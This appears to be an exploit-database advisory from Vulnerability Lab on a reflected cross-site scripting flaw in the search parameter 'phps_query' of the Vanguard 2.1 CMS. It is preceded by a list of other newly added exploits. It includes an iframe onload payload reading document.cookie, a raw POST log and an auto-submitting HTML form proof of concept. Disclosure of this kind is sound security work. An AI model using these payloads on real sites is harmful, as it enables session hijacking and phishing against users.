6829e7f3b7
17 changes to exploits/shellcodes RDP Manager 4.9.9.3 - Denial-of-Service (PoC) PHPJabbers Simple CMS 5 - 'name' Persistent Cross-Site Scripting (XSS) WordPress Plugin Hotel Listing 3 - 'Multiple' Cross-Site Scripting (XSS) Fuel CMS 1.4.1 - Remote Code Execution (3) Eclipse Jetty 11.0.5 - Sensitive File Disclosure WordPress Plugin Popup Anything 2.0.3 - 'Multiple' Stored Cross-Site Scripting (XSS) OpenAM 13.0 - LDAP Injection Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS) Simplephpscripts Simple CMS 2.1 - 'Multiple' SQL Injection Sonicwall SonicOS 6.5.4 - 'Common Name' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'Multiple' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'vid' SQL Injection Mult-e-Cart Ultimate 2.4 - 'id' SQL Injection PHP Melody 3.0 - Persistent Cross-Site Scripting (XSS) Isshue Shopping Cart 3.5 - 'Title' Cross Site Scripting (XSS) Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS) Ultimate POS 4.4 - 'name' Cross-Site Scripting (XSS)
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# Exploit Title: Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS)
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# Date: 2021-10-26
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# Exploit Author: Vulnerability Lab
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# Vendor Homepage: https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975
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# Version: 2.1
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Document Title:
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===============
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Vanguard v2.1 - (Search) POST Inject Web Vulnerability
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References (Source):
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====================
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https://www.vulnerability-lab.com/get_content.php?id=2283
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Release Date:
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=============
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2021-10-26
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Vulnerability Laboratory ID (VL-ID):
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====================================
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2283
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Common Vulnerability Scoring System:
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====================================
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4
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Vulnerability Class:
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====================
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Cross Site Scripting - Non Persistent
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Current Estimated Price:
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========================
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500€ - 1.000€
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Product & Service Introduction:
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===============================
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https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975
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Abstract Advisory Information:
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==============================
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The vulnerability laboratory core research team discovered a post inject web vulnerability in the Vanguard v2.1 cms web-application.
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Affected Product(s):
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====================
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VanguardInfini
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Product: Vanguard v2.1 - CMS (PHP) (Web-Application)
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Vulnerability Disclosure Timeline:
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==================================
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2021-10-26: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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Medium
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Authentication Type:
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====================
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Pre Auth (No Privileges or Session)
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User Interaction:
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=================
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Low User Interaction
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Disclosure Type:
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================
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Responsible Disclosure
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Technical Details & Description:
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================================
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A non-persistent post inject web vulnerability has been discovered in the official Vanguard v2.1 cms web-application.
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The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user
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session data or to manipulate application contents for clients.
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The vulnerability is located in the phps_query parameter of the search module. The vulnerability is a classic post
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injection web vulnerability with non-persistent attack vector.
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Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
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external redirects to malicious source and non-persistent manipulation of affected application modules.
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Request method(s):
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[+] POST
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Vulnerable Input(s):
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[+] Search
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Vulnerable Parameter(s):
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[+] phps_query
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Proof of Concept (PoC):
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=======================
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The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.
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For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.
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Vulnerable Source: search
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<div class="ui yellow basic segment"></div>
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<div class="ui container" style="margin-top: -0.7em;">
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<form method="POST" action="https://vanguard.squamifer.ovh/search">
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<div class="ui action input fluid">
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<input name="phps_query" type="text" value=""><iframe src=a onload=alert(document.cookie)>" placeholder="Search for a product...">
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<button class="ui button" type="submit" name="phps_search"><i class="search icon"></i>Search</button></div></form>
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<div class="ui divider"></div>
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<div class="ui cards aligned centered">
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<div class="alert color blue-color"><div class="ui hidden divider"></div>
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<div class="ui icon info message"><i class="help circle icon"></i><div class="content">
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<div class="header">No results found for <strong><iframe src=evil.source onload=alert(document.cookie)></strong>.</div></div></div></div>
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</div></div></div>
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--- PoC Session Logs [POST] ---
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https://vanguard.localhost:8080/search
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Host: vanguard.localhost:8080
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 86
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Origin: https://vanguard.localhost:8080
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Connection: keep-alive
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Referer: https://vanguard.localhost:8080/
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Cookie: PHPSESSID=57d86e593a55e069d1e6c728ce20b3b8
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phps_query=">%20<iframe src=evil.source onload=alert(document.cookie)>&phps_search=;)
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-
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POST: HTTP/2.0 200 OK
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content-type: text/html; charset=UTF-8
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pragma: no-cache
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cache-control: private
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vary: Accept-Encoding
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Exploitation: PoC
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<html>
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<head>
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<title>PoC</title>
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<style type="text/css">
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#nodisplay {
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display:none;
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}
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</style>
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</head>
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<body>
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<div id="nodsiplay">
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<form action="https://vanguard.localhost:8080/search" method="post">
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<input type="text" name="phps_query" value=">%20<iframe src=evil.source onload=alert(document.cookie)>"/>
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</form>
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</div>
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<script>
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function submitForm() {
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document.forms[0].submit();
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}
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submitForm();
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</script>
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</body>
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</html>
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Security Risk:
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==============
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The security risk of the validation web vulnerability in the web-application is estimated as medium.
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Credits & Authors:
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==================
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Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
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or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
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or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
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not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
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We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
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Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
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Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php
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media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
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Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™
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--
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VULNERABILITY LABORATORY (VULNERABILITY LAB)
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RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
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LUDWIG-ERHARD STRAßE 4
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34131 KASSEL - HESSEN
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DEUTSCHLAND (DE) |